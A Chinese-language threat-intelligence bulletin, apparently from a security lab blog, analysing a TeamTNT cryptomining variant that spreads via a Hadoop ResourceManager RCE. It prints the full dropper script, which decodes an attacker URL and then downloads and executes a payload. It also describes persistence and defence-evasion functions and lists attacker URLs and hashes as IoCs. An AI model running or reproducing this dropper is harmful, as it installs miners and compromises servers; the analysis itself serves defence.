

Import 2022-11-30 11:16

# 威胁快讯： TeamTNT新变种通过ELF打包bash脚本，正通过Hadoop ResourceManager RCE传播



jinye

Aug 6, 2021 · 4 min read

TeamTNT是一个比较活跃的挖矿家族，曾被腾讯和PAN等国内外安全厂商多次分析[\[1\]](#)[\[2\]](#)，我们的BotMon系统也曾多次捕获。以往经验显示，TeamTNT家族喜欢使用新技术，比如名为EzuriCrypter的加密壳就是首次在TeamTNT样本中被检测到。近期，我们的Anglerfish蜜罐再次捕获到TeamTNT的新变种，使用了如下新技术和工具：

1. 通过ELF文件包装入口bash脚本。
2. 集成了一个新的Go编写的扫描器。

从功能角度看，新变种和5月份曝光的[版本](#)相比并没有大的变化，只是在个别功能上做了一些有意思的调整。

## Exploit

本轮传播使用了已知漏洞 Hadoop\_ResourceManager\_apps\_RCE。

## 入口脚本分析

跟以往攻击相同，漏洞利用成功后会植入一个名为 `i.sh` 的入口脚本，内容如下：

```
#!/bin/bash
RT_URL="aHR0cDovL29yYwNsZS5odHhyZwN1axZ1LnRvcC9zM2Y3MTUvaS5qcGcK"
RT_URL=$(echo ${RT_URL}|base64 -d)
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ];then
    echo "WHY1"
    wget ${RT_URL} -O /var/tmp/c && chmod a+x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/wdz" -o -x "/bin/wdz" ];then
    wdz ${RT_URL} -O /var/tmp/c && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/wgettnt" -o -x "/bin/wgettnt" ];then
    wgettnt ${RT_URL} -O /var/tmp/c && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/wd1" -o -x "/bin/wd1" ];then
    wd1 ${url} -O /var/tmp/c && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/wget1" -o -x "/bin/wget1" ];then
    wget1 ${url} -O /var/tmp/c && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/xget" -o -x "/bin/xget" ];then
    xget ${url} -O /var/tmp/c && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/wge" -o -x "/bin/wge" ];then
    wge ${url} -O /var/tmp/c && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/wdt" -o -x "/bin/wdt" ];then
    wdt ${url} -O /var/tmp/c && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin(curl" -o -x "/bin/curl" ];then
    curl -O /var/tmp/c ${url} && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/cd1" -o -x "/bin/cd1" ];then
    cd1 -O /var/tmp/c ${url} && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/curltnt" -o -x "/bin/curltnt" ];then
    curltnt -O /var/tmp/c ${url} && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/curl1" -o -x "/bin/curl1" ];then
    curl1 -O /var/tmp/c ${url} && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ];then
    cur -O /var/tmp/c ${url} && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
elif [ -x "/usr/bin/cdt" -o -x "/bin/cdt" ];then
    cdt -O /var/tmp/c ${url} && chmod +x /var/tmp/c && /var/tmp/c && rm -rf /var/tmp/c
else
    if [ -x "$(command -v yum)" ]; then
        rpm -e --nodeps wget
        yum -y install wget
    elif [ -x "$(command -v apt-get)" ]; then
        apt-get -y install wget
    fi
fi
exit 0
```

能看出这段脚本会从 `RT_URL` 变量中解码出主模块的URL

`http://oracle.htxreceive.top/s3f715/i.jpg`，然后下载并执行。

## ELF打包的主模块分析

主模块为一个ELF文件，代码看上去非常简单：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    system("mkdir -p /var/tmp/.share/.crypto/...");
    write_script("/var/tmp/.share/.crypto/.../i-r.sh", binary__i_r_sh);
    system("chmod a+x /var/tmp/.share/.crypto/.../i-r.sh");
    return system("/var/tmp/.share/.crypto/.../i-r.sh");
}
```

上述代码只是释放并执行一个名为 `i-r.sh` 的脚本文件，所有的功能逻辑其实都在脚本中完成，所以主模块其实只是一个ELF打包的bash脚本。这是我们首次观察到 TeamTNT家族使用该技术。

通过分析 `i-r.sh` 文件，可以很容易的找到TeamTNT的标志信息，将其和 TeamTNT关联起来。

```
[...]$ d64h IyEvYmluL2Jhc2gKZWNo...yYmlkZGVuIGFjdGlvbiAhISEgVGVhbVR0VCBpcyB3YXRjaGluZyB5b3UhJw==  
00000000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 65 63 68 6f |#!/bin/bash.echo|  
00000010 20 27 46 6f 72 62 69 64 64 65 6e 20 61 63 74 69 |'Forbidden acti|  
00000020 6f 6e 20 21 21 21 20 54 65 61 6d 54 4e 54 20 69 |on !!! TeamTNT i|  
00000030 73 20 77 61 74 63 68 69 6e 67 20 79 6f 75 21 27 |s watching you!'|  
00000040
```

`i-r.sh`文件包含如下几个函数：

```
function kill_miner_proc()  
function kill_sus_proc()  
function FixTheSystem(){  
function SetupNameServers(){  
function clean_cron(){  
function lock_cron()  
function SecureTheSystem(){  
function LockDownTheSystem(){  
function KILLMININGSERVICES(){  
function makesshaxx(){  
function create_script(){
```

结合具体代码，`i-r.sh`的主要功能总结如下：

- 杀死其它矿机程序，
- 杀死可疑程序，
- 锁定（文件不能删除，不能更改，不能移动）了部分系统文件，
- 恢复了DNS为8.8.8.8和8.8.4.4
- 锁定了cron相关的文件

- SecureTheSystem() - 修改ps, top, pstree三个工具，通过过滤关键字串 apache2/[httpd]|na/httpd|cmrypto隐藏其它模块和工具。
- LockDownTheSystem() – 锁定了shutdown, reboot, poweroff, telinit等控制系统重启的工具，禁止系统重启。
- KILLMININGSERVICES() – 卸载旧矿机。
- 添加ssh公钥帐号。
- 卸载阿里云和腾讯云安全防护工具。

对照之前曝光过的脚本代码发现主体功能基本一致，只是在扫描部分有些调整。

主模块用到的矿机程序和扫描器如下所示：

```
XMRig -
(主)hxxp://oracle.htxreceive.top/s3f715/s/avg.tar.gz
(备)https://github.com/xmrig/xmrig/releases/download/v6.13.0/xmrig-6.13.0-linux-s

masscan -
(主)hxxp://oracle.htxreceive.top/s3f715/s/m.tar.gz
(备)hxxps://github.com/robertdavidgraham/masscan/archive/refs/tags/1.3.0.tar.gz

lisa.scanner -
hxxp://oracle.htxreceive.top/s3f715/s/htx-i.${ARCH}
```

其中，XMRig和masscan之前已经多次见到，但 `lisa.scanner` 却是一个首次见到的扫描器，它的开发语言为Go，支持 Postgres、Reids和 ssh 三种服务的爆破扫描。

扫描器启动后会创建几个.db文件来保存扫描结果。

扫描过程的日志会保存在.log文件中。

# IoC

## MD5

```
7153415b8f26390677b2285fdcfcd5ca
60b55e7087d0316d7c886db30cdf0a02
65e0144f02992578feaec652f18a5d4b
b023e29f8e1a4902d463820009aab9d
9f719395ca35d4dd2fb0dd7cd508b51b
dfdf7e8fb465765e5dd372c4e0b2aad7
4616e44f236263a0c085b14a5009a7e6
7153415b8f26390677b2285fdcfcd5ca
60b55e7087d0316d7c886db30cdf0a02
65e0144f02992578feaec652f18a5d4b
b023e29f8e1a4902d463820009aab9d
9f719395ca35d4dd2fb0dd7cd508b51b
dfdf7e8fb465765e5dd372c4e0b2aad7
4616e44f236263a0c085b14a5009a7e6
```

## URL

```
http://oracle.htxreceive.top/s3f715/i.jpg
http://oracle.htxreceive.top/s3f715/s/avg.tar.gz
http://oracle.htxreceive.top/s3f715/i.sh
http://oracle.htxreceive.top/s3f715/s/htx-i.x86_64
http://oracle.htxreceive.top/s3f715/s/htx-i.i386
http://oracle.htxreceive.top/s3f715/s/htx-i.i686
http://oracle.htxreceive.top/s3f715/s/m.tar.gz
```



Start the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS



Name



Share

Best

Newest

Oldest

Be the first to comment.

[Subscribe](#)[Privacy](#)[Do Not Sell My Data](#)

— 360 Netlab Blog - Network Security Research Lab at 360 —

Import  
2022-11-  
30 11:16



快讯：使用21个漏洞传播的DDoS家族WSzero已经发展到第4个版本

P2P Botnets: Review - Status - Continuous Monitoring

P2P 僵尸网络：回顾·现状·

Botnet

## Mozi已死，余毒犹存

背景 360NETLAB于2019年12月首次披露了Mozi僵尸网络，到现在已有将近2年时间，在这段时间中，我们见证了它从一个小规模僵尸网络发展为巅峰时占据了极高比例IOT流量巨无霸的过程。现在Mozi的作者已经被执法机关处置，其中我们也全程提供了技术协助，因此我们认为后续在相当长的一段时间内它都不会继续更新。但我们知道，Mozi采用了P2P网...

nday

## Mirai\_ptea Botnet is Exploiting Undisclosed KGUARD DVR Vulnerability

Overview On 2021-06-22 we detected a sample of a mirai variant that we named mirai\_ptea propagating through a new vulnerability targeting KGUARD DVR. Coincidentally, a day later, on June 23, we received an inquiry from the security community asking if we had seen a new DDoS botnet, cross-referencing some

持续监测

See all 249 posts →



Aug 27,

14 min



2021

read



Jul 1,

11 min



2021

read